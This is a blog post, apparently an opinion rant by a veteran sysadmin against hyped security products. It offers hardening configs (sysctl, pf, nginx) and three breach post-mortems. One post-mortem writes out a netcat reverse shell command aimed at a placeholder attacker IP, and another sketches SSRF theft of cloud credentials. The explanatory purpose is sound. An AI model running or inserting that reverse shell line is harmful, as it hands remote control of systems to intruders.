{"id":4913,"date":"2026-10-21T00:38:02","date_gmt":"2026-10-20T19:08:02","guid":{"rendered":"https:\/\/itsupportwale.com\/blog\/top-cybersecurity-solutions-to-protect-your-business-in-2024\/"},"modified":"2026-10-21T00:38:02","modified_gmt":"2026-10-20T19:08:02","slug":"top-cybersecurity-solutions-to-protect-your-business-in-2024","status":"publish","type":"post","link":"https:\/\/itsupportwale.com\/blog\/top-cybersecurity-solutions-to-protect-your-business-in-2024\/","title":{"rendered":"Top Cybersecurity Solutions to Protect Your Business in 2024"},"content":{"rendered":"<p>text<br \/>\nJan 24 03:14:22 core-gw-01 sshd[28412]: Invalid user admin from 192.168.10.42 port 54322<br \/>\nJan 24 03:14:24 core-gw-01 sshd[28415]: Invalid user support from 192.168.10.42 port 54328<br \/>\nJan 24 03:14:26 core-gw-01 sshd[28418]: Invalid user ubnt from 192.168.10.42 port 54334<\/p>\n<div id=\"ez-toc-container\" class=\"ez-toc-v2_0_80 counter-hierarchy ez-toc-counter ez-toc-grey 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6.2-6.3c.2-.2.3-.5.3-.7s-.1-.5-.3-.7c-.2-.2-.4-.3-.7-.3h-11c-.3 0-.5.1-.7.3-.2.2-.3.5-.3.7s.1.5.3.7z\"\/><\/svg><\/span><\/span><\/label><input type=\"checkbox\"  id=\"ez-toc-cssicon-toggle-item-6ad81fe425902\"  aria-label=\"Toggle\" \/><nav><ul class='ez-toc-list ez-toc-list-level-1 ' ><li class='ez-toc-page-1 ez-toc-heading-level-1'><a class=\"ez-toc-link ez-toc-heading-1\" href=\"https:\/\/itsupportwale.com\/blog\/top-cybersecurity-solutions-to-protect-your-business-in-2024\/#iptables_-L_-n_-v\" >iptables -L -n -v<\/a><ul class='ez-toc-list-level-2' ><li class='ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-2\" href=\"https:\/\/itsupportwale.com\/blog\/top-cybersecurity-solutions-to-protect-your-business-in-2024\/#Why_Your_WAF_is_a_Paper_Tiger_in_a_Rainstorm\" >Why Your WAF is a Paper Tiger in a Rainstorm<\/a><ul class='ez-toc-list-level-3' ><li class='ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-3\" href=\"https:\/\/itsupportwale.com\/blog\/top-cybersecurity-solutions-to-protect-your-business-in-2024\/#POST-MORTEM_1_THE_AI_THAT_SAW_NOTHING\" >POST-MORTEM #1: THE AI THAT SAW NOTHING<\/a><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-4\" href=\"https:\/\/itsupportwale.com\/blog\/top-cybersecurity-solutions-to-protect-your-business-in-2024\/#The_Scent_of_Ozone_and_the_Ghost_of_10BASE-T\" >The Scent of Ozone and the Ghost of 10BASE-T<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-5\" href=\"https:\/\/itsupportwale.com\/blog\/top-cybersecurity-solutions-to-protect-your-business-in-2024\/#The_Zero-Trust_Fairy_Tale_and_the_Identity_Crisis\" >The Zero-Trust Fairy Tale and the Identity Crisis<\/a><ul class='ez-toc-list-level-3' ><li class='ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-6\" href=\"https:\/\/itsupportwale.com\/blog\/top-cybersecurity-solutions-to-protect-your-business-in-2024\/#POST-MORTEM_2_THE_CLOUD-NATIVE_COLLAPSE\" >POST-MORTEM #2: THE CLOUD-NATIVE COLLAPSE<\/a><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-7\" href=\"https:\/\/itsupportwale.com\/blog\/top-cybersecurity-solutions-to-protect-your-business-in-2024\/#The_Kernel_Doesnt_Lie_A_Requiem_for_the_Sysadmin\" >The Kernel Doesn&#8217;t Lie: A Requiem for the Sysadmin<\/a><ul class='ez-toc-list-level-3' ><li class='ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-8\" href=\"https:\/\/itsupportwale.com\/blog\/top-cybersecurity-solutions-to-protect-your-business-in-2024\/#POST-MORTEM_3_THE_SILENT_FRAGMENTATION\" >POST-MORTEM #3: THE SILENT FRAGMENTATION<\/a><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-9\" href=\"https:\/\/itsupportwale.com\/blog\/top-cybersecurity-solutions-to-protect-your-business-in-2024\/#Related_Articles\" >Related Articles<\/a><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-1'><a class=\"ez-toc-link ez-toc-heading-10\" href=\"https:\/\/itsupportwale.com\/blog\/top-cybersecurity-solutions-to-protect-your-business-in-2024\/#EOF\" >EOF<\/a><\/li><\/ul><\/nav><\/div>\n<h1><span class=\"ez-toc-section\" id=\"iptables_-L_-n_-v\"><\/span>iptables -L -n -v<span class=\"ez-toc-section-end\"><\/span><\/h1>\n<p>Chain INPUT (policy DROP 421 packets, 24122 bytes)<br \/>\n pkts bytes target     prot opt in     out     source               destination       <br \/>\n 124k   18M ACCEPT     all  &#8212;  lo     *       0.0.0.0\/0            0.0.0.0\/0         <br \/>\n 892k  442M ACCEPT     all  &#8212;  *      *       0.0.0.0\/0            0.0.0.0\/0            state RELATED,ESTABLISHED<br \/>\n    0     0 DROP       tcp  &#8212;  *      *       0.0.0.0\/0            0.0.0.0\/0            tcp flags:0x3F\/0x00<br \/>\n    0     0 DROP       tcp  &#8212;  *      *       0.0.0.0\/0            0.0.0.0\/0            tcp flags:0x11\/0x01<\/p>\n<pre class=\"codehilite\"><code>...and that\u2019s the problem right there. You see that `0x3F\/0x00`? That\u2019s a null scan. Someone is knocking on the door with a packet that shouldn't exist, and your fancy &quot;cloud-native&quot; dashboard probably didn't even blink. It\u2019s too busy rendering a pretty pie chart of &quot;threat actors&quot; in a &quot;vibrant&quot; (wait, no, I hate that word) in a garish shade of corporate blue to actually tell you that your stack is screaming.\n\nI\u2019ve been sitting in this cage\u2014and yes, it\u2019s a cage, the raised floor tiles are loose and the Halon system looks like it hasn't been inspected since the Clinton administration\u2014for twenty-eight years. I remember when we used thicknet. I remember the literal smell of ozone when a transceiver blew. Back then, if you wanted to secure a network, you understood the bits. You understood that a 3-way handshake wasn't a suggestion; it was the law of the land. SYN, SYN-ACK, ACK. If the sequence numbers didn't increment correctly, the packet died. Simple. Elegant.\n\nNow? Now we have &quot;cybersecurity solutions&quot;. \n\nThe very phrase makes my teeth ache. It\u2019s a term coined by people who wear suits and think &quot;The Cloud&quot; is a magical realm where physics doesn't apply. They\u2019ve abstracted the network so far away from the hardware that the average &quot;security engineer&quot; today couldn't tell you the difference between a Layer 2 frame and a Layer 3 packet if their life depended on it. They just click &quot;Deploy&quot; on a Terraform script and pray the IAM roles don't have a wildcard.\n\n## The Port 443 Lie\n\nEverything is HTTPS now. We\u2019ve tunneled the entire world through Port 443 and called it &quot;security.&quot; It\u2019s the ultimate lie. By encrypting everything end-to-end, we\u2019ve effectively blinded ourselves to the rot inside the traffic. You\u2019ve got these &quot;cybersecurity solutions&quot; that claim to do deep packet inspection, but they\u2019re just glorified man-in-the-middle proxies that break the chain of trust and introduce more latency than a satellite link in a thunderstorm.\n\nI remember when we could actually use `tcpdump` to see what was happening. You\u2019d run `tcpdump -vvv -i eth0 port 80` and you\u2019d see the GET requests, the headers, the raw reality of the wire. Now, it\u2019s all a black box of TLS 1.3. Sure, privacy is great for the user, but for the architect trying to figure out why a database query is taking 400ms, it\u2019s a nightmare. We\u2019ve traded visibility for a false sense of safety.\n\nThe industry pushed &quot;Zero Trust&quot; like it was some new revelation. Newsflash: we were doing Zero Trust in the 90s; we just called it &quot;not being an idiot.&quot; We used `iptables` and `pf` on OpenBSD to drop everything by default. We didn't need a $50,000-a-month SaaS platform to tell us that an unknown IP from a suspicious CIDR block shouldn't be talking to our domain controller. \n\nBut today\u2019s &quot;cybersecurity solutions&quot; aren't built for the wire. They\u2019re built for the &quot;user experience.&quot; They\u2019re built to be &quot;seamless&quot; (another word that makes me want to throw a rack-mount UPS out a window). Security isn't supposed to be seamless. Security is a series of friction points designed to slow down an adversary. If it\u2019s seamless for the user, it\u2019s seamless for the guy in a basement in St. Petersburg who just found your exposed S3 bucket.\n\n## The Abstraction Tax and the Death of the Packet\n\nWe\u2019ve moved from bare metal to VMs, from VMs to containers, and from containers to &quot;serverless.&quot; Every layer of abstraction is another layer of obfuscation. I\u2019ve seen Kubernetes clusters where the internal networking is such a mess of VXLAN overlays and CNI plugins that nobody actually knows how a packet gets from Pod A to Pod B. \n\nWhen something goes wrong\u2014and it always does\u2014the &quot;modern&quot; engineer looks at a dashboard. They see a red dot. They don't know *why* the dot is red. They don't know that the MTU is mismatched and the packets are being fragmented and dropped by a router three hops away because someone forgot to account for the 50-byte overhead of the GRE tunnel. \n\nI miss the days of Kernel 2.6. You knew where the memory was. You knew how the interrupts were being handled. Now, we\u2019re running &quot;cybersecurity solutions&quot; that are essentially just massive Node.js apps running with root privileges, consuming 4GB of RAM just to monitor a log file. It\u2019s offensive. \n\nLook at this `sysctl.conf` I had to fix last week for a client who bought a &quot;next-gen&quot; firewall that was choking on 10,000 concurrent connections. They thought they needed more &quot;compute.&quot; No, they just needed to tune the damn stack.\n\n```bash\n# Manual fix for a &quot;modern&quot; disaster\nnet.ipv4.tcp_syncookies = 1\nnet.ipv4.tcp_max_syn_backlog = 2048\nnet.ipv4.tcp_synack_retries = 2\nnet.ipv4.tcp_keepalive_time = 600\nnet.core.somaxconn = 1024\nnet.core.netdev_max_backlog = 5000\nnet.ipv4.conf.all.rp_filter = 1\nnet.ipv4.conf.default.rp_filter = 1\n<\/code><\/pre>\n<p>The &#8220;cybersecurity solutions&#8221; salesperson told them they needed an AI-driven load balancer. I gave them eight lines of text and a reboot. The latency dropped by 60%. That\u2019s the difference between knowing the machine and just buying the hype.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"Why_Your_WAF_is_a_Paper_Tiger_in_a_Rainstorm\"><\/span>Why Your WAF is a Paper Tiger in a Rainstorm<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>Web Application Firewalls (WAFs) are the biggest scam in the industry. They\u2019re just regex engines with a marketing budget. If I see one more &#8220;cybersecurity solutions&#8221; pitch promising to block &#8220;all known and unknown threats&#8221; using &#8220;machine learning,&#8221; I\u2019m going to retire to a cabin in the woods with nothing but a ham radio and a shotgun.<\/p>\n<p>Remember CVE-2021-44228? Log4j. The world was ending. Every WAF vendor on the planet sent out an email saying, &#8220;Don&#8217;t worry, our &#8216;cybersecurity solutions&#8217; have you covered.&#8221; And then, an hour later, someone figured out that you could bypass the regex by just nesting the JNDI lookup. Then another bypass. Then another. <\/p>\n<p>Why? Because the WAF doesn&#8217;t understand the application logic. It\u2019s trying to guess what the application will do based on a string of text. It\u2019s like trying to prevent a burglary by putting a &#8220;No Burglars Allowed&#8221; sign on the front door and then leaving the back window open.<\/p>\n<blockquote>\n<h3><span class=\"ez-toc-section\" id=\"POST-MORTEM_1_THE_AI_THAT_SAW_NOTHING\"><\/span>POST-MORTEM #1: THE AI THAT SAW NOTHING<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><strong>The Incident:<\/strong> A major fintech firm relied on an &#8220;AI-driven&#8221; EDR (Endpoint Detection and Response) tool.<br \/>\n<strong>The Breach:<\/strong> An attacker gained entry via a simple spear-phishing campaign. Instead of using fancy malware, they used <code>netcat<\/code>\u2014a tool older than the intern who &#8220;managed&#8221; the EDR. They set up a reverse shell: <code>nc -e \/bin\/sh [attacker_ip] 4444<\/code>.<br \/>\n<strong>The Failure:<\/strong> The &#8220;AI&#8221; didn&#8217;t flag it because <code>netcat<\/code> is a legitimate administrative tool. The attacker then used <code>rsync<\/code> to exfiltrate 50GB of customer data.<br \/>\n<strong>The Lesson:<\/strong> The &#8220;cybersecurity solution&#8221; was looking for &#8220;patterns of malicious code&#8221; but ignored &#8220;patterns of malicious behavior&#8221; because it didn&#8217;t understand the context of a shell being spawned from a web server process. A simple <code>auditd<\/code> rule would have caught it in seconds.<\/p>\n<\/blockquote>\n<h2><span class=\"ez-toc-section\" id=\"The_Scent_of_Ozone_and_the_Ghost_of_10BASE-T\"><\/span>The Scent of Ozone and the Ghost of 10BASE-T<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>There\u2019s a specific smell to a server room that\u2019s actually working. It\u2019s a mix of cold air, static electricity, and the faint scent of heated copper. It\u2019s the smell of reality. Modern &#8220;cloud&#8221; engineers don&#8217;t know that smell. They think the internet is made of YAML files.<\/p>\n<p>I remember when BGP route leaks were something we talked about over beers as a &#8220;what if&#8221; scenario. Now, they happen every other Tuesday because some ISP in a country you can&#8217;t find on a map decides to announce a \/8 prefix that they don&#8217;t own, and the &#8220;cybersecurity solutions&#8221; we have in place just shrug and say, &#8220;Well, the routing table says it\u2019s over there now.&#8221;<\/p>\n<p>We\u2019ve lost the art of the &#8220;sanity check.&#8221; We trust the automation too much. I\u2019ve seen companies lose their entire infrastructure because an automated &#8220;security policy&#8221; saw a spike in traffic\u2014which was actually a legitimate product launch\u2014and decided to null-route their own API gateway. <\/p>\n<p>And don&#8217;t get me started on OpenSSL. Remember Heartbleed (CVE-2014-0160)? That was a wake-up call that everyone hit the snooze button on. We\u2019re still building the entire global economy on top of C libraries written in the 90s that are maintained by three guys named Hans who haven&#8217;t slept since the Berlin Wall fell. We wrap these ancient, fragile libraries in &#8220;modern&#8221; Docker containers and think we\u2019ve fixed the problem. We haven&#8217;t. We\u2019ve just put a tuxedo on a skeleton.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"The_Zero-Trust_Fairy_Tale_and_the_Identity_Crisis\"><\/span>The Zero-Trust Fairy Tale and the Identity Crisis<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>The latest trend is &#8220;Identity is the new perimeter.&#8221; It sounds great in a slide deck. It\u2019s a disaster in practice. By moving the security boundary from the network to the identity provider, we\u2019ve just created a single point of failure that is infinitely more attractive to attackers.<\/p>\n<p>If I can steal your session cookie\u2014which, thanks to the &#8220;seamless&#8221; SSO experience everyone insists on, is valid for 30 days and doesn&#8217;t check for IP affinity\u2014I am you. I don&#8217;t need to hack your firewall. I don&#8217;t need to bypass your WAF. I just need to sit in a Starbucks and wait for you to log in.<\/p>\n<p>The &#8220;cybersecurity solutions&#8221; for this? More MFA. But then we get MFA fatigue. People just click &#8220;Approve&#8221; on their phones because they\u2019re tired of being interrupted while they\u2019re trying to work. We\u2019re trying to solve human problems with software, and it\u2019s failing because humans are the one variable you can&#8217;t patch.<\/p>\n<p>Compare this to a well-configured OpenBSD box. No fancy GUI. No &#8220;AI.&#8221; Just a <code>pf.conf<\/code> that looks like this:<\/p>\n<pre class=\"codehilite\"><code class=\"language-text\"># A real firewall config\nset skip on lo\nblock all\npass in on egress proto tcp from any to any port { 22, 80, 443 }\npass out all keep state\n<\/code><\/pre>\n<p>It\u2019s readable. It\u2019s predictable. It doesn&#8217;t have a &#8220;vulnerability of the week&#8221; because it isn&#8217;t trying to be everything to everyone. It just does one thing: it filters packets. But you can&#8217;t sell a &#8220;solution&#8221; that is just a text file. You can&#8217;t get a Series A for a tool that requires the user to actually understand how a TCP flag works.<\/p>\n<blockquote>\n<h3><span class=\"ez-toc-section\" id=\"POST-MORTEM_2_THE_CLOUD-NATIVE_COLLAPSE\"><\/span>POST-MORTEM #2: THE CLOUD-NATIVE COLLAPSE<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><strong>The Incident:<\/strong> A &#8220;cloud-native&#8221; healthcare startup used a popular service mesh to handle all internal communication.<br \/>\n<strong>The Breach:<\/strong> An attacker exploited a SSRF (Server-Side Request Forgery) in a public-facing microservice.<br \/>\n<strong>The Failure:<\/strong> Because the service mesh was configured to &#8220;automatically&#8221; trust all internal traffic (for that &#8220;seamless&#8221; developer experience), the attacker was able to query the internal metadata service, steal the IAM credentials for the K8s node, and escalate to cluster admin.<br \/>\n<strong>The Lesson:<\/strong> The &#8220;cybersecurity solution&#8221; (the service mesh) created a flat network topology under the guise of &#8220;abstracting away the networking,&#8221; making lateral movement trivial once the perimeter was breached.<\/p>\n<\/blockquote>\n<h2><span class=\"ez-toc-section\" id=\"The_Kernel_Doesnt_Lie_A_Requiem_for_the_Sysadmin\"><\/span>The Kernel Doesn&#8217;t Lie: A Requiem for the Sysadmin<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>We\u2019re losing the people who know how to fix things. We\u2019re replacing them with &#8220;SREs&#8221; who know how to write Go but don&#8217;t know how to use <code>gdb<\/code> to debug a segfault in a production kernel. We\u2019re building a world of &#8220;cybersecurity solutions&#8221; that are built on top of other &#8220;solutions,&#8221; and it\u2019s just turtles all the way down.<\/p>\n<p>I\u2019m tired. I\u2019m tired of seeing the same mistakes repeated every five years with a new name. In the 90s, it was &#8220;buffer overflows.&#8221; In the 2000s, it was &#8220;SQL injection.&#8221; Now, it\u2019s &#8220;misconfigured cloud permissions.&#8221; It\u2019s all the same thing: a failure to understand the underlying system.<\/p>\n<p>If you want real security, stop buying &#8220;solutions.&#8221; Start hiring people who like to break things. Hire the person who spends their weekends compiling their own Linux kernel just to see if they can make it boot 100ms faster. Hire the person who still uses a mechanical keyboard because they like the tactile feedback of a successful command.<\/p>\n<p>Real security is found in the <code>nginx.conf<\/code> where you\u2019ve manually specified the ciphers:<\/p>\n<pre class=\"codehilite\"><code class=\"language-nginx\"># Stop using the defaults, you cowards\nssl_protocols TLSv1.2 TLSv1.3;\nssl_prefer_server_ciphers on;\nssl_ciphers 'ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384';\nssl_session_timeout 1d;\nssl_session_cache shared:SSL:50m;\nssl_stapling on;\nssl_stapling_verify on;\nadd_header Strict-Transport-Security &quot;max-age=31536000; includeSubDomains&quot; always;\n<\/code><\/pre>\n<p>It\u2019s found in the <code>iptables<\/code> rules that drop packets with an invalid state. It\u2019s found in the <code>audit.rules<\/code> that track every execution of <code>execve()<\/code>. It\u2019s not found in a &#8220;vibrant&#8221; dashboard.<\/p>\n<blockquote>\n<h3><span class=\"ez-toc-section\" id=\"POST-MORTEM_3_THE_SILENT_FRAGMENTATION\"><\/span>POST-MORTEM #3: THE SILENT FRAGMENTATION<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><strong>The Incident:<\/strong> A global logistics company experienced &#8220;intermittent&#8221; connectivity issues that their &#8220;AI-powered&#8221; network monitoring tool couldn&#8217;t explain.<br \/>\n<strong>The Breach:<\/strong> There was no breach\u2014yet. But the &#8220;cybersecurity solution&#8221; they installed was adding an encapsulation header that pushed packets over the 1500-byte MTU limit.<br \/>\n<strong>The Failure:<\/strong> The routers were forced to fragment the packets. The &#8220;Next-Gen Firewall&#8221; was configured to drop fragments as a &#8220;security measure.&#8221; This caused a 30% packet loss that looked like a DDoS attack. The &#8220;AI&#8221; triggered an automated mitigation that shut down the main BGP peering point.<br \/>\n<strong>The Lesson:<\/strong> The &#8220;solution&#8221; didn&#8217;t understand the physical limitations of the MTU. It was trying to be &#8220;smart&#8221; while ignoring the basic physics of the data link layer.<\/p>\n<\/blockquote>\n<p>I\u2019m looking at my screen right now. Another failed SSH attempt. Another botnet trying <code>admin\/admin<\/code>. The world is burning, and the &#8220;cybersecurity solutions&#8221; industry is busy selling fire extinguishers that only work if the fire is a specific shade of orange and has been pre-approved by a compliance auditor.<\/p>\n<p>I\u2019m going to finish this coffee\u2014it\u2019s cold, by the way, just like the air coming out of the floor vents\u2014and I\u2019m going to go back to my <code>tcpdump<\/code>. I don&#8217;t want a &#8220;solution.&#8221; I want the truth. And the truth is written in the packets. They don&#8217;t lie. They don&#8217;t have a marketing department. They just exist, 1s and 0s, flying through the dark at the speed of light, waiting for someone who actually knows what they\u2019re looking at to notice them.<\/p>\n<p>If you\u2019re reading this and you think I\u2019m just a grumpy old man who\u2019s out of touch, you\u2019re right. I am. But when your &#8220;seamless&#8221; cloud-native &#8220;cybersecurity solution&#8221; fails and your data is being sold on a forum for three cents a record, don&#8217;t come crying to me. I\u2019ll be in the server room, listening to the fans, watching the LEDs blink, and enjoying the silence of a network that actually works because someone took the time to configure it by hand.<\/p>\n<p>The industry has lost its way. We\u2019ve traded understanding for &#8220;solutions.&#8221; We\u2019ve traded depth for &#8220;dashboards.&#8221; And God help us when the lights finally go out, because the people who know how to turn them back on are all retiring.<\/p>\n<p>Now, if you&#8217;ll excuse me, I have a BGP prefix to announce and a kernel to tune. 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